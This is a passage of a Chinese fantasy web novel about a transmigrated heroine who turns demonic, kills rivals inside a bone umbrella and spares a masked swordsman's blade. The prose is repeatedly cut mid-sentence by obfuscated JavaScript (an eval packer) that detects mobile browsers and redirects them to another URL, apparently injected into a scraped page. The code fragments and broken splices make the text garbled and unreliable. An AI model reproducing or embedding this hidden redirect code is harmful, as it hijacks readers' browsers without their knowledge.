劫后余生的怔愣和骤然被魔气吓到的恐惧在她眼睛里混杂着,让面上沾着血珠的黎落显得无害而柔弱。 封樾一愣,眼前莫名浮现一个场景。 漆黑的封印之中,面前女子脸带潮红,痛意从她紧闭的眼角流露出来,口中呼出的却是他的名字…… 温香软玉的触感和现实相连,封樾下意识收紧了五指。 黎落顿时觉得被他攥住的腕骨剧痛,似要碎裂。 心底的戾气随着魔气一起涌了上来,脚下的斗兽台隐隐发抖,似乎有什么东西在与她呼应。 斗兽被封樾打断,他身上的魔气让其他人望而却步。 看守现场的小厮犹豫一番,转身离开去寻楼主。 封樾思绪被忽然浮现的场景搅得一团混乱,不由得又想到了冯府时那盖着盖头的女子: “结界中的遮面女子,是你?” 黎落似是被他吓到。 她朝后缩了缩,眼里溢满泪水,被他吓得说不出话,楚楚可怜。 封樾眯起眼睛,这才意识到她刚刚死里逃生。 看这副柔弱模样,怎么都不像是能抢魔魂的。 或许那红玉珠只是意外落到了她手中。 这么想着,封樾手上动作不免放松了几分。 黎落急忙朝后退了几步。 此时,一道长鞭自楼上凌空袭来,直直冲向黎落。 她躲闪不及,一下子扑倒在地,刚好摔在斗兽台正中央。 抬头看去,秦如霜手持长鞭,面色不善: “君上为何救她?” 封樾收回挡住攻击的手,看着黎落狼狈摔倒的姿态,语调轻慢: “如霜,这女人样子好看,本君着实喜欢。” 秦如霜脸色难看了几分:“君上……” 封樾已不再多言,朝黎落的方向伸手: “随本君走。” 黎落看着他伸来的手掌,仰起头,自下而上看向封樾,模样十分可怜: “你是谁?她为什么叫你君上?” 她音色轻柔,如羽毛拂面,偏又用了这样一副漂亮崇拜的面容望着他,听得封樾心中大感慰藉。 昔日黎落视他如无物,宁可跟着一个女子离开,甚至敢抬手打他,如今经历这么一遭,竟还有如此柔顺姿态。 这莫名取悦了封樾。 联想到方才一闪而过的旖旎画面,他莫名觉得嗓子发干,脸上笑意更深: “以后不可再直呼‘你’,本君是你的主人。” 黎落没有说话。 她的目光越过封樾的肩膀,看向站在他身后的秦如霜。 静默片刻,忽然扬起个挑衅的笑。 秦如霜顿时气急。 黎落这副柔弱清纯模样分明就是伪装,偏君上看不出来! 如今众目睽睽,竟敢公然挑衅于她,一看就是个不安分的! 若是进了魔界,岂非要将好好的魔君诱骗成昏君? 秦如霜瞪着黎落,红色丹蔻死死按住手中渡魂玉。 黎落收回视线。 她面上平和,实则在心中暗暗揣测: 这秦如霜当真如此能忍,这都不动手打她? 想了想,她抬起手,作势要搭上封樾的手。 封樾的目光随着她伸出的手,自莹白如玉的手腕,滑到她葱白细腻的指尖,一刻也不舍得移开。 甚至还主动将手朝前送了送,欲早些触碰到那抹白。 黎落的动作却顿在半空。 演戏是一回事,主动去碰封樾…… 她实在觉得恶心。 幸好下一秒,忍无可忍的秦如霜终于动手了。 一道极为阴邪的魔气自那玉上生发,绕过封樾,直冲黎落面门。 日光湮灭,月气上浮,阴阳交错,人鬼相安。 极乐楼阴阳两面合并的一瞬间,渡魂玉恰好被秦如霜催动。 一时间,渡魂玉上的魔气携带剧烈阴气,却被一股奇怪的力量碰撞打散,没能打到黎落,反而与极乐楼内瞬间涌起的鬼气相撞,激起无数怨魂哀嚎。 地动山摇。 黎落顺势收回手,装作和旁人无二的慌乱神色,左顾右盼的同时,不着痕迹地捡起地上的匕首,给自己手上划了一刀。 携带混沌之力的鲜血滴落,顿时如一道雾气散开。 整个极乐楼都在不停摇晃。 封樾眉头紧皱,随着极乐楼的异动,露出痛苦的神色。 秦如霜顿时顾不上黎落了,急忙扶住他: “君上?你怎么了?” 封樾额头青筋爆出:“是他……沧宿……” 秦如霜大惊,匆忙催动渡魂玉,想替封樾压下这股突如其来的反噬。 但比她动作更快的,是骤然裂开的斗兽台。 随着一股更强盛的魔气的出现,一柄通体散发着紫红色光晕的伞倏忽出现在极乐楼中央。 “骨伞!” 知情者惊呼出声。 黎落缓缓站了起来。 面朝着骨伞的方向,她感受到体内混沌之力和魔魂的激荡。 而骨伞于她身前晃动不休,宛如旧友亲切的问候。 ——对着她体内的混沌之力和魔魂。 和原书剧情一样,携带混沌之力的鲜血与骨伞共鸣,秦如霜催动渡魂玉,又为骨伞破开封禁提供了机会。 黎落放纵体内魔气的增长,某个瞬间,借助体内魔魂的记忆,感受到了操纵骨伞的方法。 与无人可见处,她微微动了动手指。 下一刻,骨伞猛然张开伞面,十二根白骨环绕伞柄,于半空中幽幽晃动,如同难以挣脱的囚笼,将所有方向牢牢锁住。 众人惊慌之下,被那骨伞的威压定住,无论如何都逃脱不得。 而后魔气自白骨中溢出,顿时将在场所有人、连同离骨伞最近的黎落,一同吸进了伞中。 与此同时,段迟意推开了包厢门。 凉风自大开的窗户吹过,空荡荡的包厢里,哪里还有黎落的身影。 段迟意的瞳孔猛得一缩。 他几乎瞬间就闪现到了窗边,却只来得及看到黎落身形被骨伞包裹的那一幕。 再一转眼,森然剑光裹挟滔天寒意,直冲骨伞而去。 剑气与白骨相撞,擦出一片墨蓝光影,即将合拢的骨伞边缘被划出了一道明显缺口,寒霜立即攀爬而上。 骨伞被那剑气一卡,伞面合拢的动作停顿片刻,那道剑光便趁机闯了进去。 伞面彻底合拢了。 * 黎落站起身,下意识抬手摸了摸心口。 骨伞被她的血激活后,与她血脉相连。此时身处骨伞中,她便可掌握这一方天地的动向。 但此刻,她却隐约察觉到一丝又冷又痛的感觉从骨伞边缘传来——似乎有人在用一把又冷又冰的剑砍她的伞。 黎落警惕地抬头看着上方,生怕有人砍坏了骨伞,破坏了她的计划。 但很快,那尖锐冷酷的冲击力就消失不见了。 她又站在原地等了半晌,荒漠无垠,不见攻击者的身影。 反而有一股魔气自骨伞深处传来。 那魔气有色无形,丝丝缕缕如鬼爪一般,自一点向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357246|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周飘散,随机抓取着此间生灵。 伞内许多生魂毫无防备间,便被魔气控制着强行离体,而后抵抗不得,只能被迫朝着最深处飘去,最终湮灭成一点。 这场景她数月前曾见过一次。 暗不见光的地窖里,父母的身躯死死挡在唯一的缝隙上。 她曾抬头看去,鲜血一滴滴落在她的脸上,将她的眼白染成红色,最后又顺着她的脖颈流入衣领…… 然后他们的身躯在某个时刻飘出幽绿色的光晕。 正如此刻。 魂魄离体,不入鬼界,反成魔气。 “渡魂玉。” 黎落下意识攥紧了手掌,尖锐的刺痛从刀口传来。 分明没有自头顶滴落的鲜血,她却依然感受到了鲜血落进眼睛后带来的刺痛。 黎落用手背揉了揉眼睛。 魔气从她身边略过,却并未对她造成伤害。 “你为什么没事?!” 一道突兀的声音自她身后响起。 黎落回头,发现是先前将匕首扔向兕兽的人。 这人也是个人族,机缘巧合下投靠魔族,用魔气锻体后,便开始看不起其他普通人族。 他本是来极乐楼碰碰运气,想看看有没有可以捡漏的法器和妖丹。 谁知竟倒霉碰上了骨伞抓人,周围的人纷纷被魔气杀死,他靠着身上的法器苦苦支撑到现在,眼看也快要不行了。 苍天有眼,叫他看见了黎落。 收割生魂的东西如此凶悍,黎落这个凡人却能躲过魔气…… 一定是用了极为珍贵的法器! 他眼珠子一转。 先前亲眼看到黎落在斗兽台上的弱小模样,怎么都不是个能打的。 想来便是有法器躲过一时,迟早也是个死的下场。 不如早些将法器给他,救他一命,也算是不浪费宝物。 想到这里,这人的面色逐渐变得阴狠: “把你身上的法器交出来!” 黎落认出了他: “我记得你,是你朝台上扔了把刀,险些害死我。” 这人听后并不内疚,反而越发冷笑道: “你这样的废物,若是喂了兕兽,也算是你的福气!” 说罢,他上下打量黎落几眼,笑容阴狠: “既然你有命活到现在,我就再教你一个道理——” 话音落,他整个人以极快的速度靠近黎落,石化的左臂如巨锤,重重朝着黎落的头砸去。 他的脸上露出得意的笑,仿佛已经看到了黎落人头被砸扁的一幕,语气更加兴奋: “弱肉强食,你这样的弱者,生来就该死在我的手里!” 下一秒,他脸上的笑容凝固在一个诡异的弧度。 黎落松开手,朝后退了两步,避开喷涌而出的鲜血。 这人顺着她的动作低头看去,一柄匕首直直插在他的心口,上面魔气环绕。 无形的压力朝着他的心脏压下,让鲜血喷出更多,将他面前的一小片地面都染成了猩红。 那刀柄上的花纹十分眼熟,正是他扔上斗兽台、用来激怒兕兽的那一把。 他抬起头,想说话,却因失血过多无法开口,最终迎面倒伏在地上,血汇聚成溪流,自他身下缓缓漫出。 黎落的面容在他眼中逐渐变得扭曲。 弱小似乎是阴冷的伪装,纯真的面容下,竟是全然蔑视生死的残酷。 她的声音在他头顶响起,十分平静的语气: “弱肉强食,还有这刀,都还给你。” 死人的魂魄自然离体,顺着渡魂玉的方向飘去。 黎落擦了擦手上的血,抬步朝渡魂玉的方向走去。 22. 第 22 章 秦如霜几乎耗尽了自己全部的魔气来促动渡魂玉,但封樾的脸色仍越来越苍白。 骨伞秉承其主人沧宿的意志,在抓住封樾的瞬间,便与他的魔魂合力攻击他自己。 封樾魔相已显,周身魔气滔天,却无法抵抗来自魔魂深处的痛楚。 他隐约觉得事情似乎不该是这样,仿佛这骨伞本该为他所有,哪怕不是受他所控,也该顺着他的心意操纵。 怎么会是现在这样,拼尽全力要他去死呢?! 骨伞冲着他来,越是用魔气抵抗,自己的魔魂便会更加不稳。 偏在此时,秦如霜的声音响起,带来一个不幸的消息: “君上,骨伞内的生魂已被收割得不剩多少了。渡魂玉剩下的魔气,根本没法送我们俩一起出去!” “你什么意思?” 封樾喷出一口鲜血,猛得拉住秦如霜的手腕,声音嘶哑: “只能出一人?” 他薄唇染血,本是极为张扬肆意的容貌,此刻却因为魔魂不稳而显得灰败。 秦如霜低头单膝跪地,语气诚恳迫切: “时间紧张,撕开骨伞出口的过程十分危险,我为君上护法,现在就送君上出去。” 在秦如霜看不见的地方,封樾正审视着她的表情。 ——他不相信她。 秦如霜爱他,但魔族本性自私凉薄,生死面前,臣可杀君,子可弑父,唯有自己最为可靠。 由秦如霜来操纵渡魂玉撕开出口,一旦她中途反悔,带着渡魂玉独自逃跑,自己便彻底没了生机。 他怎么敢把后背交给一个随时可能叛变的女人? 只是因为她爱他? 何其好笑。 封樾嘴角勾起一个嘲讽的弧度。 他换了温和神色,亲手扶起秦如霜: “如霜,你先起来。” 秦如霜握住他的手起身,顺从地靠在他的肩头。 封樾搂住她,看向远方,语调苍凉: “昔日沧宿自知不敌仙门,特意割下半魂,提前藏于本君体内。” “本君一睁眼,便知他作的何等打算!这么些年,沧宿从未放弃夺舍本君,可有你的渡魂玉压着,始终没能成功。” 秦如霜知道封樾这些年的头痛之苦,听闻这些,面带感怀: “君上受苦了。” 封樾看她一眼,长眉扬起,露出个宠溺的笑: “若非有你,本君早已成沧宿傀儡。又怎能弃你于不顾,独自逃命呢?” 秦如霜还想说话,封樾抬手阻止她,义正辞严道: “不必多言,本君已下定决心,哪怕拼尽全身魔气,也要将你送出去。” 秦如霜拼命摇头,攀附在封樾胸膛上,语带哽咽: “不……君上,如霜不走,如霜要和君上在一起……” “傻如霜……” 封樾回抱住她。 “我亦舍不得你。” 秦如霜被他的真情所感动,终于下定决心,开口道: “其实,还有一个办法。” 封樾闻言挑眉: “什么?” 秦如霜咬了咬唇,面带犹豫,不知自己是否该说出这个秘密。 但封樾正用那双含情脉脉的凤眸望着她,里面是一望无际的春水。 她不禁想起两人肌肤相亲的那些时光。 罢了,君上是她此生挚爱,更是心意相通的枕边人,还有什么需要瞒着他的呢? 秦如霜将渡魂玉放在封樾手中。 “君上,其实渡魂玉,不止秦家人可以操控。” 封樾一脸诧异,不似作伪。 秦如霜咬破指尖,在封樾手心画符,边道: “我为秦家圣女,血脉特殊,可以血为引,助君上操纵渡魂玉。” 封樾大惊: “不可!如霜,渡魂玉乃你秦家至宝,更是你立身之本,怎能为本君所用?” 说着,他便想抽回手。 然而秦如霜只伸手轻轻一拉,便将他的大手拉在原地不动了。 “君上魔气更强,亲自操纵渡魂玉,便有机会送你我二人一同出去。” 秦如霜露出羞涩的笑: “况且,我与君上……在我心中,君上便是我的夫君,自然可以共享法宝。” 说完,她脸上漫上红云。 她喜欢封樾一事虽是众人皆知,但此时此刻,两人在绝境处互诉衷肠,共享秘密和法宝,便是她也难免羞涩心动。 秦如霜心想着:若封樾无法撕开足够两人逃脱的出口,那她便在最后一刻主动赴死。 她身位秦家族人,魔族圣女,于公于私,都当为魔君奉献一切。 更何况,魔君,还是与她情投意合的心上人。 鲜血滴在封樾指尖,他看着秦如霜专心画符的动作,声音柔情似水: “如霜放心,若魔气不够,我定拼尽全力,助你逃出生天。” 然而事实上,他眯起的眸子里一派冰冷,哪里还有半点暖意。 秦如霜浑然不知。 血符落成。 秦如霜收回手,封樾顺势接过渡魂玉。 他以魔气操纵渡魂玉,骨伞受到冲击,自半空中被扯出一个拳头大小的口子。 封樾露出痛苦神色。 他到底是在与沧宿的对抗中消耗太大,如今只是打开一个小口都让他感到力不从心。 更何况,操纵骨伞的人明显冲着他来,内外同时攻击,他已是强弩之末,又如何能打开容纳两人通过的出口呢? 偏在此时,路的尽头出现了一道纤瘦身影。 风沙裹挟着雾气,叫人看不清来人的身份,却无端从其身上察觉到一股极为可怖的气息。 无形的力量从对方身上飘出,半空中的出口骤然缩小。 秦如霜大惊,猛地回身,一道魔气甩向来人: “是谁?!” 事情有变,她转向封樾急道: “君上!快!” 封樾的目光落到秦如霜身上,下一秒,他将全身魔气灌到渡魂玉上。 出口迅速扩张,直到变成能容一人半通过的大小时,秦如霜激动道: “君上!快成了!” 封樾看向出口,缓缓擦去嘴角的鲜血,感受着体内所剩无几的魔气,同样感慨道: “是啊……成了。” 在秦如霜没能反应过来时,封樾猛地收回渡魂玉,用最后的力气甩开秦如霜的手,纵身朝那出口飞去。 来人是敌非友,他已无力再战。 秦如霜身为魔族圣女,为掩护魔君战死,天经地义。 不断缩小的出口逼得封樾不得不抛出渡魂玉,用上面残存的魔气掩护自己出去。 渡魂玉魔气耗尽,自半空中坠落,落进沙土中,发出沉闷的声响。 封樾逃得太快,毫不留情,甚至没有多看她一眼。 秦如霜体力不支,一下子摔到了地上,下意识看向面前的渡魂玉。 她伸手想要去捡。 一双绣有精致花纹的靴子出现在她面前,裙摆带血。 * 封樾身形消失在出口的瞬间,黎落心口的窒息感才骤然消退。 系统冷冷扔下一句警告: “宿主,这是本文男主第二次濒死了,如果你还想活着回家的话,最好不要再出现这样的意外。” 黎落没有说话,她弯腰捡起了渡魂玉。 秦如霜看见她的一瞬间,浑身力气骤然恢复。 “你个贱人!竟然还活着!” 她抬手想要攻击黎落。 然而自身魔气早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一柄尖长银簪插在她颈侧。 握着簪子的黎落微微歪头,眉眼温和,双眸却彻底变成浓黑。 她嘴角勾起,分明还在笑,却一手掐着秦烛瑛的脖子,让对方挣扎不能,一手用力将簪子朝里压下。 “噗嗤”一声,秦如霜的脖颈被簪子彻底刺穿,鲜血喷涌。 黎落松开手,没了气息的秦如霜歪倒下去。 她若有所感,缓缓转身间,双眸已彻底变成不见天光的黑,混沌之力上涌,整个骨伞空间都在颤抖不休。 系统的尖叫已听不清楚,浑身经脉都在痛。 或许是真的要入魔了。 黎落心想。 但很快,这份一闪而过的惶恐便被系统那没有感情的、带着嘲弄和不屑地声音说出的“穿书”、“攻略”、“炮灰”等等词汇覆盖。 无论是人还是魔,都不重要了。 黎落直视着面前手持长剑、仙门打扮的人,神色越发平静坦然。 对方带着面具,只一双清泠似月的眼睛牢牢钉在她身上,里面是她看不懂的神色。 面前人周身杀气环绕,剑锋嗡鸣,察觉到她身上的魔气和混沌之力后,寒霜迅速覆盖而上,将周围一片区域封锁。 寒风吹动她的碎发,黎落的声音里透着了然,并无真容被戳破的恐慌。 “破妄剑。” “我想起来了。” “仙门,珩亦。” ——最终杀死我的人。 23. 第 23 章 段迟意——此刻正做着珩亦的打扮——看着黎落,没有说话。 骨伞内魔气纵生,他无时无刻不在担心,自己慢上一分,黎落的危险便多上一分。 天知道,当他察觉到渡魂玉在骨伞内无差别收割生魂的那一瞬间,心里有多么恐慌。 黎落只是个凡人,在渡魂玉这样的魔器面前,死亡不过是眨眼间的事。 那一瞬间,慌乱大过理智,他不再掩饰修士的灵力,几乎是用破妄剑一路杀到此处—— 却亲眼看到黎落入魔杀人的模样。 手中破妄剑颤抖不休。 这把集结了仙门诸多大能灵力的剑,其下斩落魔魂无数,最能感知魔气的杀意。 段迟意握紧了剑柄,寒意自他指端一路滑下,凝聚在剑锋一点,发出铮然之声。 他的目光落在黎落身上。 千叮万嘱让她不要动用魔气,可一个不小心,她却还是入了魔。 今日,他必得将她体内魔魂彻底除掉不可! 剑随意动。 寒冰凝出结界墙,将黎落周身的魔气锁在剑锋笼罩下。 段迟意身影如风,转眼已出现在黎落身前。 他周身如剑般冰冷锐利,带着寒气的手按在黎落肩膀。 黎落被他一推,朝右侧去,发间玉坠随着她的动作叮当碰撞,缠作一团。 段迟意一顿,手上力气便放软了几分。 “你……” 他刚想开口,谁知正对上了黎落的眼睛。 原有的琥珀色被黑沉沉的雾气压住,几乎不见眼白,本是极为柔和纯净的面容,如今毫无温和之态,嗜血杀意从双眸间溢出,分明已是魔相。 段迟意猛地抬手,挡住黎落朝他脖颈伸出的手。 银簪被她五指攥着,尖端鲜血斑驳——是她刚从秦如霜身上拔下来的。 段迟意目光从躺在血泊中的秦如霜身上略过,又移到了熟悉的银簪上。 他道出门前,黎落偷偷藏起这根簪子是为了什么。 原来是为了杀他。 这答案像毫不留情的一巴掌扇在他脸上,苦痛酸涩种种难言滋味纷纷涌上了舌尖。 段迟意在心底冷笑一声,面色更沉。 他不再犹豫,果断以剑柄敲在黎落手腕。 黎落吃痛,下意识松手,簪子落了地。 手腕顺势被段迟意扣住。 灵力一下子冲了进来,冰冷似剑,冲散了她被魔气遮蔽的神志。 她的思绪获得了半刻清明,立即又被系统的警报声充斥。 “宿主!你竟敢吞噬魔魂,擅自催发混沌之力!你不想活了吗?” “不要和他动手!你打不过珩亦的!他在大结局的时候当着魔君的面也能杀了你!” 黎落看向身前戴着面具的人。 对方的容貌藏在银白面具的遮盖下,只露出一双冷黑的眸子,视线没有落在她脸上,而是专注用灵力绞杀她体内的魔气。 原书剧情结尾时,仙门珩亦杀进魔宫,将女主捅个对穿后,又被魔君封樾所杀。 仙君要除魔,女主要保护男主,一切的一切,都只能让封樾坐收渔翁之利,将混沌之力收入囊中。 封樾成魔神的雷劫之中,她和珩亦的血交织在一起,反倒构成了原书结局的凄美画面…… 凭什么?! 凭什么她这样的无辜之人,要莫名其妙被扔到这种地方,要浑浑噩噩地度过一生,要不明不白地为别人而死! 凭什么! 明明混沌之力在她手上,她凭什么不能用,凭什么不能反抗,凭什么要老老实实做一个壳子、一个摆设、一动不动任人宰割! 黑气彻底反了上来。 黎落的双眼不再聚焦,嘴角勾起一抹嘲讽的弧度。 系统的声音化成一串刺耳的杂音,很快便被覆盖上来的魔气遮掩寂灭。 整个骨伞空间感知到她的愤怒,瞬间涌起的魔气自四面八方收拢而来,如千钧之力猛地收缩下压,直接将段迟意剑气设下的屏障击碎。 冰棱四溅。 本就被渡魂玉杀得一个不留的骨伞内部扭曲变形,荒漠之上生出赤红穹顶,魔气于云层中盘旋,直冲身处这片炼狱中央的两人。 段迟意一惊,闪身挡在黎落身前,替她挡下了飞溅的冰棱。 而后以破妄剑成屏障,将两人护在中央。 他这才意识到黎落的不对劲: “你能操纵骨伞?” 被仙术遮掩,他的声音还是如冯府初见那样,清冷动听,却毫无记忆点。 面具下的段迟意眉头紧皱,厉声质问: “你要剿灭骨伞里的所有人?包括我?” 黎落被他护在怀中,面无表情地抬头看他。 那不是他熟悉的目光。 他认识的黎落,是怕黑也要保护别人的人,是分明与她无关、却还愿意为冯月婵谋划未来的人,是明明可以一走了之、却还要回头救好友的人,是待穗穗和善、待假扮灵妖的他友好的人。 他知道她总在害怕担心,时刻不能安眠,但她绝对不是杀人不眨眼的魔头…… 她怎么会有这样仇恨阴冷的目光呢? 段迟意拧眉。 不,不会的。 一定是因为自己戴着面具,她不知道自己是谁,便当他是敌人了。 段迟意收回手,头脑一热,想要当场揭下面具,告诉她自己的身份: “你难道没有想过,你云苍阁的副阁主,段迟意,他也在这里吗?” 这名字似乎还有些许效果。 黎落闻言,微微睁大了眼睛,黑沉沉的眼睛里一丝光也无。 她想朝后退去,看着竟有片刻的柔弱茫然。 段迟意一手拉着她,不许她逃跑,另一只手已经搭在面具边缘,语气也软化了几分。 “其实……” 谁知只来得及说出两个字,便觉胸口一阵剧痛骤然袭来。 段迟意蓦地怔住,想说的话卡在喉咙。 黎落挣脱他的束缚,后退半步,面无表情地看着他胸前伤口缓缓溢出鲜血。 她在他开口的同时拔下了发髻上的簪子,毫不留情地刺进他的心口。 面前人目光阴冷,神情坦然,哪里还有半分柔弱姿态。 “你威胁我?” 黎落边退边缓缓开口: “一本书,一个虚假的世界,一群炮灰一样的生命……” 说到最后,她的声音已经几近崩溃,却带着让人心惊的偏执和决绝: “无辜生灵如何,段迟意又如何?他们的生死,与我何干?!” “谁也不能威胁我!” 段迟意的话被这一簪子彻底堵死,整个人恍如被从头到脚浇了一头凉水。 四周魔气并未消失,反而越发汹涌地攻来。 他本能低头,看向插在自己心口的簪子。 粉白灵玉,轻盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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系统也因为她改变的剧情而反噬她,让她连呼吸都变得困难。 但破妄剑横立面前,珩亦更是注定会杀死她的真凶。 如今对方已对她下了“判决”,她更无路可退! 然而,段迟意自幼修行,更是渡劫期修士,纵使黎落有骨伞和魔魂相助,依然毫无胜算。 破妄剑抵在伞前,段迟意面色清冷,压着她的动作闲适轻松,若非有骨伞,他早便可以将她斩于剑下。 黎落沉默片刻,混沌之力忽而从她身上冲出,竟然直接冲开了破妄剑。 段迟意低头看向右手虎口,鲜血溢出。 他抬头看向黎落: “这是什么东西?” 黎落没空回答,她感受到熟悉的窒息感自心口传来。 是系统“劝说”无果,又在用“抹杀”威胁她。 心脏被大力攥住,她的呼吸开始变得滞涩。 段迟意见她不说话,神色越发冰冷。 他用破妄剑压着黎落的魔气,左手并指为剑,朝着黎落丹田攻来。 他心中怒意交加。 既然黎落不肯说实话,铁了心要入魔,那他也不必多言,直接用灵力直接冲进她的经脉,亲眼看看这股极为强盛的力量到底是什么东西! 黎落不知他目的,以为他要偷袭自己,猛得提气去挡,反而让憋着的一口气彻底撑不住了。 段迟意见她气息不稳,竟还试图反抗,盛怒之下一剑刺来,却忽然见面前人脱力松开了骨伞,整个人直接滑落到了地上。 他心中大惊,本能收剑。 黎落抬头。 破妄剑剑尖堪堪停在黎落双眸中间。 段迟意却怎么都刺不下去了。 24. 第 24 章 强收剑势的反噬让段迟意眉头一皱。 他拧眉,忍着痛楚将这股血气咽下,没在黎落面前露出破绽。 两人静默无言,一时间,整个骨伞空间里,竟只有彼此的呼吸声。 黎落看向面前的破妄剑。 长剑覆霜,寒意逼人,和面前这位剑君一样,都是极精致、却也极冷清的模样。 她的思绪有些纷飞,忍不住想起那天在云苍阁,聊起这把剑时,穗穗说的话。 “没名字没身份的剑鞘”。 穗穗曾这样形容破妄剑主。 可他留了自己一命。 黎落在心里想。 她不由得伸出手去触碰剑锋。 段迟意察觉到她的念头,握剑的手一颤,想要撤回剑身时,却一眼看到了她手掌中央的伤痕。 伤口很新,刀口平整,明显是利刃所划;下深上浅,应该是她自己右手持刀,自伤而成。 而由于没有及时处理,伤口两侧的皮肉已经外翻发白,唯有其间鲜血的颜色格外明显。 段迟意瞳孔一缩: “你的手……?” 黎落已抬手触摸到了剑锋,指腹轻点其上,顿时被上面的寒气激得蹙眉。 她喃喃道: “这剑好冷。” 段迟意握着剑柄,心口却像是也被黎落的指尖轻触一般,生出一种又痒又麻的感觉。 他也跟着看向自己手里的剑。 破妄剑属霜寒,确实是一把很冷的剑。 只是他这个人也很冷。 段迟意觉得自己不该在这时沉默,可是现在的场景实在有些诡异。 他们两人方才还分属仙魔两道,打的你死我活。 此刻黎落却触碰着他的剑,细声细语地说着“这剑好冷”。 他不知道她为什么要这么做,但他的目光总落在她手心的伤口上,忍了又忍,还是忍不住说: “你的伤,需得尽快敷药。” 黎落闻言,诧异地抬头望着他。 她的眼睛已经恢复了正常,瞳仁中残留的些许墨色,反倒成了那双琥珀中央的点缀,格外特别。 她望着他,分明隔着面具不可能看清他的脸,但段迟意就是莫名紧张,总觉得自己仿佛失去了伪装,完完整整暴露在她面前似的。 会被发现吗? 段迟意心想着,喉结不由自主地上下滑动了一下。 好在黎落很快扭开了头,仿佛想到什么好玩的事情一样,蓦地笑了一下。 “我猜的果然没错。” 段迟意因她的这句话而心跳加速,紧张到喉咙发干。 旋即却听见黎落用一种熟悉的、悄悄得意的语气说: “破妄剑果然不是全天下最好的剑。” 段迟意松了一口气,这才意识到方才某个瞬间,他竟仿佛在等着黎落宣判一样,提着一口气不敢松开。 下一刻,他又巧妙地听懂了黎落在说什么。 她在回答“段迟意”的问题。 “这世上,一定有比破妄剑更好的剑。” 生死时刻,她仍记得答应过自己,要寻到一把比破妄剑更好的剑。 那她方才又为什么要用那种决绝的语气,说“段迟意的生死与她何干”? 段迟意心中思绪纷飞五味杂陈,一刻也不得安宁。 某个瞬间,他终于意识到: 他无法像杀死其他妖魔那样杀死黎落。 ——他下不去手杀她。 而也是从意识到这一点的同时,他发现自己内心深处,有什么东西开始变得不受控制了。 像一片云偶然笼罩了荒漠,像一朵花偶然绽放在冰川。 他亲眼看着它坠落,却无力阻拦。 又或者他不曾阻拦,甚至张开怀抱,亲手将它拥入怀中。 他整个人都定在原地,仿佛一尊彻头彻尾的冰雕。 黎落站起身。 四周的天幕发出连续不断的碎裂声,如蛛网一般迅速蔓延,而后终于支撑不住一般,骨伞空间彻底碎裂。 夜幕一瞬间展开,与白天不同,鬼界的极乐楼一片阴森静谧。 黎落低头,发现自己刚好站在窗户边缘。 窗户不高,窗外阴冷的风吹起她的头发,面前是成群结队走向远处的鬼魂。 ——往生道开了。 她随着鬼魂游走的方向,抬头看向那扇写着“鬼门”的楼牌,没看段迟意一眼,直接翻身从窗户上跳了出去。 看着黎落跳窗逃跑的身影,像一只轻盈的蝶主动跃入黑暗。 段迟意心中只剩下一个念头。 ——他得救她。 身为仙门修士,既然下不去手杀她,那他就得为此负责。 他要追上去,问清楚。 他得知道黎落为什么要入魔,知道她身上那股可怖的力量究竟是什么,知道是什么东西一直让她恐惧不安。 然后,他会倾尽所能帮她。 段迟意微微垂眸,想明白了这些后,却没有立马追过去。 他蹲下身子,在地上摸索一阵,捡起了几块粉白色的玉簪碎片。 玉簪被他盛怒之下的剑气打碎,很难拼凑成原本模样。 段迟意心里却很平静。 他十分认真地将碎玉一块一块收拢起来,若是有过分细碎难以分辨的,他便将那一片沙土也一起拢起来。 总能拼好的。 反正,他最不缺的就是耐心。 * 黎落跟在游荡的鬼身后,一起沿着往生道朝前走去。 系统道: “现下魔魂在你身上,骨伞认你为主,连混沌之力也被你用了。宿主,您能给我一个解释吗?” 黎落悄悄按了一下手心的伤口,顿时疼得她声音发颤: “对不起,我也不知道为什么会这样……那天何姨娘将我抓到墓碑前,那红色珠子忽然就亮了,我没想到魔魂会直接跑到我身上……” 她一脸无措,握着蝴蝶坠子的手微微发颤,因为过分紧张而控制不住力度,细链将她的脖子都勒出了红痕: “怎么办啊?现下秦如霜死了,封樾也受伤了,他还会来鬼界救我吗?” 按照剧情,女主此时流落鬼界,被鬼王骗婚,封樾醋意大发,为救女主,当着鬼界众鬼的面宣示主权。 这是原书剧情中男女主定情的高光时刻,更是绝对不能出岔子的关键剧情点。 可现在…… 系统对黎落的解释将信将疑,但它更担心剧情能否顺理走下去。 于是它暂且放下疑虑,安慰黎落道: “骨伞在你身上,魔君想要骨伞,定会来寻你的。你不要多想,继续走剧情就好。” 黎落露出放心的表情: “那就好,那就好……” 系统安静下去,黎落脸上欣慰的表情一下子褪去。 她松开拽着蝴蝶坠子的手,指节因过分用力而显出青白色。 有骨伞和魔魂的加持,她能轻易杀了秦如霜,却还是不能将系统藏身的蝴蝶坠子拽断。 系统和蝴蝶坠子在她身上,宛如不可逃脱的囚笼,让她处处受制,甚至险些死在珩亦剑下…… 黎落深吸了一口气,将蝴蝶坠子塞进了衣襟里。 再等机会吧…… 当务之急,她得先找到鬼王。 黎落定了定神,抬头看向牌楼上的“鬼门”二字。 进了鬼门关,就是鬼界了。 黎落排队许久,好不容易快到她的时候,准备进入鬼界的队伍却忽然停了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 